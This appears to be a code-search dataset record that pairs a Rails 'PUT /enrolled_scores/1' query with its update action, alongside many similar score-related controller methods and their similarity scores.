}.compact.reverse\n if score_array.length == 1\n score_float = (score_array[0]*100).round() / 100\n else\n\n\n score_array.each_with_index do | score, index |\n score_float += ((score) * ( (60)**(index) ) )\n end\n end\n else\n score_array = score_string.split('->')\n score_float = score_array.length\n end\n @score.value = score_float\n\n @yesterday_score = Score.where(user_id: @score.user_id).where(game_id: @score.game_id).where(date: (@score.date - 1.day)).first\n puts @yesterday_score\n if @yesterday_score.blank?\n puts \"the score didn't exist, set it as 1\"\n @score.streak = 1\n else\n puts \"score exists\"\n puts \"the current streak (before new value set) is:\"\n puts @score.streak\n puts \"the old streak was:\"\n puts @yesterday_score.streak\n @score.streak = @yesterday_score.streak + 1\n puts \"the new streak is now:\"\n puts @score.streak\n sleep(1)\n end\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to root_path, notice: 'Thanks for playing!' }\n format.json { render :show, status: :created, location: @score }\n else\n format.html { redirect_to games_path, notice: \"Sorry, you've already logged a score today.\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score_paper = ScorePaper.new(score_paper_params)\n\n respond_to do |format|\n if @score_paper.save\n format.html { redirect_to @score_paper, notice: 'Score paper was successfully created.' }\n format.json { render :show, status: :created, location: @score_paper }\n else\n format.html { render :new }\n format.json { render json: @score_paper.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @username_score = UsernameScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @username_score }\n end\n end", "def submit_score\n unless @sending\n begin\n @sending = true\n \n response = Net::HTTP.start($high_score_url, 80) do |http|\n http.post '/scores', \"name=#{name_input_value}&score=#{@player.score}\"\n end\n \n handle_response(response)\n rescue\n handle_error\n end\n end\n end", "def index\n @request_scores = RequestScore.all\n end", "def assign_scores\n @event = Event.find(params[:id])\n @event.scores = init_scores @event if @event.scores.empty?\n @scores = @event.scores\n end", "def create\n @box_score = BoxScore.new(params[:box_score])\n\n respond_to do |format|\n if @box_score.save\n format.html { redirect_to @box_score, notice: 'Box score was successfully created.' }\n format.json { render json: @box_score, status: :created, location: @box_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @box_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @username_scores = UsernameScore.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @username_scores }\n end\n end", "def create\n @player_box_score = PlayerBoxScore.new(params[:player_box_score])\n\n respond_to do |format|\n if @player_box_score.save\n format.html { redirect_to @player_box_score, notice: 'Player box score was successfully created.' }\n format.json { render json: @player_box_score, status: :created, location: @player_box_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @player_box_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def score_params\n params.require(:score).permit(:identification, :period, :area, :score, :year, :pass, :student_id, :user_id)\n end", "def destroy\n @enrolled_score = EnrolledScore.find(params[:id])\n @enrolled_score.destroy\n \n respond_to do |format|\n format.html { redirect_to enrolled_scores_url }\n format.json { head :no_content }\n end\n end", "def score_params\n params.require(:score).permit(:user_id, :started_playing, :score_value, :time_spent)\n end", "def create\n course = Course.find(params[:course_id])\n test = Test.find(params[:test_id])\n respond_to do |format|\n begin\n puts params[:absent].nil?\n i = 0\n Score.where(test: test).each do |score|\n if !score.update(value: (params[:\"absent#{i}\"]? -2 : params[:\"score-input#{i}\"]))\n raise\n end\n i += 1\n end\n rescue => exception\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to course_test_scores_path(course, test), notice: 'Scores were successfully updated.' }\n format.json { render :show, status: :ok, location: course_test_scores_path(course, test) }\n end\n end\n end", "def add_score()\n\t\tscore = params[:score]\n\t\treader_id = session[:user_id]\n\t\tapp = App.find(params[:id])\n\t\tif reader_id.to_s == app.reader_1.to_s\n\t\t\tapp.score_1 = score\n\t\telsif reader_id.to_s == app.reader_2.to_s\n\t\t\tapp.score_2 = score\n\t\tend\n\t\tif app.save\n\t\t\tredirect_to :back\n\t\telse\n\t\t\tflash[:error] = app.errors.full_messages.last\n\t\t\tredirect_to :back\n\t\tend\n\tend", "def create_score_using_post(score, opts = {})\n data, _status_code, _headers = create_score_using_post_with_http_info(score, opts)\n data\n end", "def score_params\n params.require(:score).permit(:uid, :sid, :state, :score, :lifeone, :lifetwo)\n end", "def create\n @leaderboard = Leaderboard.new(leaderboard_params)\n\n respond_to do |format|\n if @leaderboard.save\n format.html { redirect_to leaderboards_subgenre_link_url, notice: 'Leaderboard was successfully created.' }\n format.json { render :show, status: :created, location: @leaderboard }\n else\n format.html { render :new }\n format.json { render json: @leaderboard.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def create\n @score = Score.new(params[:score])\n @score.quiz.num_plays += 1\n @score.quiz.save\n \n unless @score.user_id\n return respond_to do |format|\n flash[:notice] = \"あたなの #{@score.quiz.title} の点数は #{@score.score}点 でした。\"\n format.html { redirect_to :controller => \"quizzes\", :action => \"index\" }\n end\n end\n\n respond_to do |format|\n if @score.save\n flash[:notice] = 'Score was successfully created.'\n format.html { redirect_to(@score) }\n format.xml { render :xml => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def user_score_params\n params.require(:user_score).permit(:user_name, :points, :leaderboard_id)\n end", "def create_score_using_post_with_http_info(score, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ScoreApi.create_score_using_post ...'\n end\n # verify the required parameter 'score' is set\n if @api_client.config.client_side_validation && score.nil?\n fail ArgumentError, \"Missing the required parameter 'score' when calling ScoreApi.create_score_using_post\"\n end\n # resource path\n local_var_path = '/nucleus/v1/score'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(score)\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Score')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ScoreApi#create_score_using_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def score_params\n params.require(:score).permit(:event)\n end", "def create\n @score = Score.new(score_params)\n @score.user = current_user\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score.goal, notice: 'Update was successfully created. Thanks for posting. You\\'re awesome!' }\n format.json { render :show, status: :created, location: @score.goal }\n else\n #The \"new\" template references @goal and gets rendered when validation fails so we must set @goal.\n @goal = @score.goal\n format.html { render :new }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @classpersonscore = Classpersonscore.new(classpersonscore_params)\n\n respond_to do |format|\n if @classpersonscore.save\n format.html { redirect_to @classpersonscore, notice: 'Classpersonscore was successfully created.' }\n format.json { render :show, status: :created, location: @classpersonscore }\n else\n format.html { render :new }\n format.json { render json: @classpersonscore.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:bet_score].merge!({user_id: current_user.id})\n @bet_score = @match.bet_scores.new(params[:bet_score])\n\n respond_to do |format|\n if @bet_score.save\n format.html { redirect_to new_match_bet_score_path(@match), notice: 'Bet score was successfully created.' }\n format.json { render json: @bet_score, status: :created, location: @bet_score }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bet_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @score_sheet = ScoreSheet.new(params[:score_sheet])\n\n respond_to do |format|\n if @score_sheet.save\n format.html { redirect_to @score_sheet, notice: 'Score sheet was successfully created.' }\n format.json { render json: @score_sheet, status: :created, location: @score_sheet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @score_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def enneagram_score_params\n params.require(:enneagram_score).permit(:user_id, :enneagram_one_score, :enneagram_two_score, :enneagram_three_score, :enneagram_four_score, :enneagram_five_score, :enneagram_six_score, :enneagram_seven_score, :enneagram_eight_score, :enneagram_nine_score)\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score }\n end\n end", "def score\n respond_to do |format|\n if @survey.score\n format.html { redirect_to edit_admins_thriver_path(@user), notice: 'Survey was successfully scored.' }\n format.json { render :show, status: :ok, location: @survey }\n else\n format.html { render :edit }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n score = params[:score].to_i\n recording = ActiveSupport::JSON.decode(params[:record])\n # One of the entries in the record has a greater time than the score they're trying to submit\n\t\trecording.each do |record|\n\t\t\tif record['t'].to_i > score\n\t\t\t\trender :json => ['notice' => 'Error 503', 'status' => false] and return\n\t\t\tend\n end\n\n # Made it far enough to count as valid, increment times completed\n\t\t@level = Level.find(params[:level_id])\n @level.update_attribute(:times_completed, @level.times_completed+1)\n\n\n\t\trender(:json => [\"notice\" => \"Not signed in\", \"status\" => false]) and return unless current_user\n\t\trender(:json => [\"notice\" => \"Error 504\", \"status\" => false]) and return unless current_user.ScoreHash != \"\"\n\n\t\tscore_hash = current_user.ScoreHash\n\n\t\t# Remove the hash from the user so they can't resubmit for this level\n\t\tcurrent_user.update_attribute(:ScoreHash, \"\")\n\n\t\t# Check that they have a valid hash - uses the current_user.ScoreHash to decrypt the string\n\t\tbegin\n\t\t\tkey = EzCrypto::Key.with_password(APP_CONFIG[\"SECRET\"][\"TOKEN\"], params[:level_id], :algorithm => 'blowfish')\n\t\t\trequest_time = key.decrypt64(score_hash)\n\t\t\tputs \"RequestTime\" << request_time\n\t\t\tlevel_request_time = Time.at(request_time.to_i)\n\t\trescue Exception=>e\n\t\t\trender :json => ['notice' => 'Error 501', 'status' => false] and return\n\t\tend\n\n\n\n\t\t# Only 3 or less recording states - this is pretty impossible co\n\t\trender(:json => [\"notice\" => \"Error 505\", \"status\" => false]) and return unless recording.length > 3\n\n\t\t# Check if the user already has a record for this level\n\t\tprevious_score = Highscore.order('score').find_by_user_id_and_level_id(current_user.id, params[:level_id]) # with dynamic finder\n\n\t\tbegin\n\t\t\t# They don't have a score for this level\n\t\t\tif previous_score.nil?\n\t\t\t\t# Save the score\n\t\t\t\t@highscore = @level.highscores.build\n\t\t\t\t@highscore.user_id = current_user.id\n\t\t\t\t@highscore.score = score\n\t\t\t\t@highscore.playerRecord = ActiveSupport::JSON.encode(recording)\n\t\t\t\t@highscore.save\n\t\t\telse # Update level entry\n\t\t\t\trender(:json => [\"notice\" => \"Previous score better\", \"status\" => false]) and return unless previous_score.score.to_i > score\n\t\t\t\tprevious_score.score = score.to_s\n\t\t\t\tprevious_score.playerRecord = ActiveSupport::JSON.encode(recording)\n\t\t\t\tprevious_score.save\n\t\t\tend\n\t\trescue Exception=>e\n\t\t\trender :json => [\"notice\" => e, \"status\" => false]\n\t\tend\n\n\n\t\t# Alright it worked!\n\t\trender :json => [\"notice\" => \"Score saved\", \"status\" => true]\n\tend", "def score_params\n params.require(:score).permit(:score, :time)\n end", "def create\n @user = User.find(current_user.id)\n score = params[:high_score]\n if @user.new_score(params[:game], score)\n @user.balance += (score.to_i / 100)*1000\n @user.save!\n render text: @user.balance\n end\n end", "def new\n @score_evaluation = ScoreEvaluation.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @score_evaluation }\n end\n end", "def gamescore_params\n params.require(:gamescore).permit(:user_id, :score)\n end", "def create\n @five_score = FiveScore.new(five_score_params)\n @five_score.team_id = @team.id\n\n respond_to do |format|\n if @five_score.save\n format.html { redirect_to @team, notice: 'Five score was successfully created.' }\n format.json { render :show, status: :created, location: @five_score }\n else\n format.html { render :new }\n format.json { render json: @five_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_score\n @round = Round.find(params[:id])\n @round.update_attributes(params[:round])\n redirect_to round_result_path(@round.id)\n end", "def auto_score!\n responses = sanitize_form_data_hash\n\n scores = {\n regional_partner_name: regional_partner ? YES : NO,\n committed: responses[:committed] == YES ? YES : NO,\n able_to_attend_single: yes_no_response_to_yes_no_score(responses[:able_to_attend_single])\n }\n\n if responses[:principal_approval] == YES\n scores.merge!(\n {\n principal_approval: YES,\n schedule_confirmed: yes_no_response_to_yes_no_score(responses[:schedule_confirmed]),\n diversity_recruitment: yes_no_response_to_yes_no_score(responses[:diversity_recruitment]),\n free_lunch_percent: responses[:free_lunch_percent].to_f >= 50 ? 5 : 0,\n underrepresented_minority_percent: responses[:underrepresented_minority_percent].to_f >= 50 ? 5 : 0,\n wont_replace_existing_course: responses[:wont_replace_existing_course].try(:start_with?, NO) ? 5 : nil,\n }\n )\n elsif responses[:principal_approval] == NO\n scores[:principal_approval] = NO\n end\n\n if course == 'csp'\n scores[:csp_which_grades] = responses[:csp_which_grades].any? ? YES : NO\n scores[:csp_course_hours_per_year] = responses[:csp_course_hours_per_year] == COMMON_OPTIONS[:course_hours_per_year].first ? YES : NO\n scores[:previous_yearlong_cdo_pd] = responses[:previous_yearlong_cdo_pd].exclude?('CS Principles') ? YES : NO\n scores[:csp_ap_exam] = responses[:csp_ap_exam] != Pd::Application::Teacher1819Application.options[:csp_ap_exam].last ? YES : NO\n scores[:taught_in_past] = responses[:taught_in_past].none? {|x| x.include? 'AP'} ? 2 : 0\n elsif course == 'csd'\n scores[:csd_which_grades] = (responses[:csd_which_grades].map(&:to_i) & (6..10).to_a).any? ? YES : NO\n scores[:csd_course_hours_per_year] = responses[:csd_course_hours_per_year] != COMMON_OPTIONS[:course_hours_per_year].last ? YES : NO\n scores[:previous_yearlong_cdo_pd] = (responses[:previous_yearlong_cdo_pd] & ['CS Discoveries', 'Exploring Computer Science']).empty? ? YES : NO\n scores[:taught_in_past] = responses[:taught_in_past].include?(Pd::Application::Teacher1819Application.options[:taught_in_past].last) ? 2 : 0\n end\n\n # Update the hash, but don't override existing scores\n update(response_scores: response_scores_hash.merge(scores) {|_, old_value, _| old_value}.to_json)\n end", "def create\n@nameVal = params[:name]\n@scoreVal = params[:score]\n\n# IF IT EXISTS, DO UPDATE SCORE\n@score = Score.find_by_name(@nameVal)\nputs @score\nputs @score.nil?\n\nif @score.nil?\nputs \"CREATEING\"\n\t@score = Score.new( )\n\t@score.name = params[:name]\n\t@score.score = params[:score]\n# params[:name], params[:score]\n #@score = Score.new( params[:score] )\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, :notice => 'Score was successfully created.' }\n format.json { render :json => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @score.errors, :status => :unprocessable_entity }\n end\n end\nelse\nputs \"UPDATEING\"\n\t@score.score = [@score.score.to_i, @scoreVal.to_i].max\n\trespond_to do |format|\n if @score.save\n format.html { redirect_to @score, :notice => 'Score was successfully created.' }\n format.json { render :json => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @score.errors, :status => :unprocessable_entity }\n end\n end\n# respond_to do |format|\n#\tformat.html { render :action => \"new\" }\n#\tformat.json { render :json => @score.errors, :status => :unprocessable_entity }\n#\tparams[:id] = @existing.id\n#\tupdate;\nend\n\n end", "def leader_board(scores)\r\n \r\n end", "def index\n @scores = Score.all\n end", "def index\n @scores = Score.all\n end", "def score_params\n params.require(:score).permit(:score, :drop, :note,\n :user_id, :assessment_id, :strand_id, :post_id)\n end", "def analyst_score_params\n params.require(:analyst_score).permit(:name, :score)\n end" ]
[ "0.72698176", "0.70734835", "0.6950084", "0.6886128", "0.68583757", "0.67395294", "0.67395294", "0.6681131", "0.6654938", "0.6654938", "0.66040945", "0.65855503", "0.65548396", "0.65105915", "0.6498581", "0.6495733", "0.6434336", "0.6415318", "0.6405162", "0.6282225", "0.6257174", "0.62472147", "0.6183769", "0.61765605", "0.6138421", "0.61354625", "0.6133496", "0.6123841", "0.6123103", "0.6118617", "0.61159873", "0.6103611", "0.60639304", "0.6062281", "0.6055285", "0.6050826", "0.6042944", "0.6040926", "0.60259134", "0.60206884", "0.60117924", "0.6004116", "0.59984314", "0.598707", "0.59743905", "0.59531", "0.5949634", "0.59483016", "0.5940808", "0.5938894", "0.5934916", "0.5923894", "0.5923607", "0.59208107", "0.5914834", "0.59134054", "0.59019965", "0.5898255", "0.58735603", "0.5868264", "0.58612007", "0.58599526", "0.58593464", "0.58555615", "0.58404315", "0.58403045", "0.5834109", "0.58277756", "0.5819964", "0.58109975", "0.58013403", "0.5798772", "0.57972974", "0.57965326", "0.57965326", "0.57935256", "0.5790932", "0.57903165", "0.57801", "0.5765287", "0.57563674", "0.5755177", "0.5752333", "0.5743828", "0.5743501", "0.57422835", "0.57365507", "0.5734831", "0.57329977", "0.5728241", "0.57266396", "0.5723108", "0.5722102", "0.5715003", "0.57099265", "0.5709035", "0.5708086", "0.5708086", "0.5707701", "0.5707579" ]
0.7669158
0
PUT /enrolled_scores/1 PUT /enrolled_scores/1.json
def update @enrolled_score = EnrolledScore.find(params[:id]) respond_to do |format| if @enrolled_score.update_attributes(params[:enrolled_score]) format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @enrolled_score.class.model_name.human) } format.json { head :no_content } else format.html { render :action => "edit" } format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_score\n question_params = params.require(:question).permit(:id, :score)\n\n render json: Question.update_score(question_params)\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @enrolled = Enrolled.find(params[:id])\n\n respond_to do |format|\n if @enrolled.update_attributes(params[:enrolled])\n format.html { redirect_to @enrolled, notice: 'Enrolled was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enrolled.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to @score, notice: 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @enrolled_score = EnrolledScore.new(params[:enrolled_score])\n \n respond_to do |format|\n if @enrolled_score.save\n format.html { redirect_to @enrolled_score, :notice => t('selecao_admin.flash_messages.successfully_created', :model => @enrolled_score.class.model_name.human) }\n format.json { render :json => @enrolled_score, :status => :created, :location => @enrolled_score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @enrolled_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_scoreboard(scores = {})\n end", "def update\n @username_score = UsernameScore.find(params[:id])\n\n respond_to do |format|\n if @username_score.update_attributes(params[:username_score])\n format.html { redirect_to @username_score, notice: 'Username score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @username_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n format.html { redirect_to(@score, :notice => 'Score was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @enrolled = Enrolled.find(params[:id])\n \n respond_to do |format|\n if @enrolled.update_attributes(params[:enrolled])\n format.html { redirect_to @enrolled, :notice => t('selecao_admin.flash_messages.successfully_updated.', :model => @enrolled.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @enrolled.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n # ToDo: 名前の変更\n score = params[:score]\n \n\n if @evaluation.update_attributes(score: score)\n render :show, status: :ok, location: @evaluation\n else\n render json: @evaluation.errors, status: :unprocessable_entity\n end\n end", "def update\n authorize @score\n\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to :back, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score }\n format.js { render :update_rubric }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n flash[:notice] = 'Score was successfully updated.'\n format.html { redirect_to(@score) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @score.user = current_user\n respond_to do |format|\n if @score.update(score_params)\n format.html { redirect_to @score.goal, notice: 'Score was successfully updated.' }\n format.json { render :show, status: :ok, location: @score.goal }\n else\n format.html { render :edit }\n format.json { render json: @score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @game_score = GameScore.find(params[:id])\n\n respond_to do |format|\n if @game_score.update_attributes(params[:game_score])\n format.html { redirect_to @game_score, notice: 'Game score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @game_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_score.update(user_score_params)\n format.html { redirect_to @user_score, notice: 'User score was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_score }\n else\n format.html { render :edit }\n format.json { render json: @user_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @student_score.update(student_score_params)\n format.html { redirect_to @student_score, notice: 'Student score was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_score }\n else\n format.html { render :edit }\n format.json { render json: @student_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @high_score = HighScore.find(params[:id])\n\n respond_to do |format|\n if @high_score.update_attributes(params[:high_score])\n format.html { redirect_to @high_score, notice: 'High score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @high_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @request_score.update(request_score_params)\n format.html { redirect_to @request_score, notice: 'Request score was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_score }\n else\n format.html { render :edit }\n format.json { render json: @request_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @aja_score = AjaScore.find(params[:id])\n\n respond_to do |format|\n if @aja_score.update_attributes(params[:aja_score])\n format.html { redirect_to @aja_score, notice: 'Aja score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aja_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @enrolled_score = EnrolledScore.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @enrolled_score }\n end\n end", "def update\n respond_to do |format|\n if @five_score.update(five_score_params)\n format.html { redirect_to @five_score, notice: 'Five score was successfully updated.' }\n format.json { render :show, status: :ok, location: @five_score }\n else\n format.html { render :edit }\n format.json { render json: @five_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @challenge_score.update(challenge_score_params)\n format.html { redirect_to @challenge_score, notice: 'Challenge score was successfully updated.' }\n format.json { render :show, status: :ok, location: @challenge_score }\n else\n format.html { render :edit }\n format.json { render json: @challenge_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @enrolled_score = EnrolledScore.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @enrolled_score }\n end\n end", "def update\n @score = Score.find(params[:id])\n\n respond_to do |format|\n if @score.update_attributes(params[:score])\n#\tif @score.update_attributes( :image=> params[:score] )\n format.html { redirect_to @score, :notice => 'Score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @highscore.update(highscore_params)\n format.html { redirect_to @highscore, flash: { info: 'Highscore was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @highscore.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @ability_score = AbilityScore.find(params[:id])\n\n respond_to do |format|\n if @ability_score.update_attributes(params[:ability_score])\n format.html { redirect_to(@ability_score, :notice => 'Ability score was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ability_score.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n@nameVal = params[:name]\n@scoreVal = params[:score]\n\n# IF IT EXISTS, DO UPDATE SCORE\n@score = Score.find_by_name(@nameVal)\nputs @score\nputs @score.nil?\n\nif @score.nil?\nputs \"CREATEING\"\n\t@score = Score.new( )\n\t@score.name = params[:name]\n\t@score.score = params[:score]\n# params[:name], params[:score]\n #@score = Score.new( params[:score] )\n\n respond_to do |format|\n if @score.save\n format.html { redirect_to @score, :notice => 'Score was successfully created.' }\n format.json { render :json => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @score.errors, :status => :unprocessable_entity }\n end\n end\nelse\nputs \"UPDATEING\"\n\t@score.score = [@score.score.to_i, @scoreVal.to_i].max\n\trespond_to do |format|\n if @score.save\n format.html { redirect_to @score, :notice => 'Score was successfully created.' }\n format.json { render :json => @score, :status => :created, :location => @score }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @score.errors, :status => :unprocessable_entity }\n end\n end\n# respond_to do |format|\n#\tformat.html { render :action => \"new\" }\n#\tformat.json { render :json => @score.errors, :status => :unprocessable_entity }\n#\tparams[:id] = @existing.id\n#\tupdate;\nend\n\n end", "def update\n @games_leaderboard = Games::Leaderboard.find(params[:id])\n\n if @games_leaderboard.update(games_leaderboard_params)\n head :no_content\n else\n render json: @games_leaderboard.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @analyst_score.update(analyst_score_params)\n format.html { redirect_to @analyst_score, notice: 'Analyst score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @analyst_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_score\n \t\tuser.score += 10\n user.save\n\tend", "def update\n @enrolled_student = EnrolledStudent.find(params[:id])\n\n respond_to do |format|\n if @enrolled_student.update_attributes(params[:enrolled_student])\n format.html { redirect_to @enrolled_student, notice: 'Enrolled student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enrolled_student.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @box_score = BoxScore.find(params[:id])\n\n respond_to do |format|\n if @box_score.update_attributes(params[:box_score])\n format.html { redirect_to @box_score, notice: 'Box score was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @box_score.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_solr_score\n Geomonitor.update_by_id id: name, score: recent_status_score\n end", "def increase_scn_score\n count = voteable.user.scn_score\n count = count + 1\n voteable.user.update_attributes(scn_score: count)\n end", "def save_score\n @round = Round.find(params[:id])\n @round.update_attributes(params[:round])\n redirect_to round_result_path(@round.id)\n end", "def create\n score = current_user.scores.new(score_params)\n\n if score.save\n render json: score\n else\n render json: { errors: score.errors.join(',') }, status: 422\n end\n end", "def update\n @score_sheet = ScoreSheet.find(params[:id])\n\n respond_to do |format|\n if @score_sheet.update_attributes(params[:score_sheet])\n format.html { redirect_to @score_sheet, notice: 'Score sheet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @score_sheet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_score!(points)\n increment!(:score, points)\n end", "def update\n respond_to do |format|\n if @score_board.update(score_board_params)\n 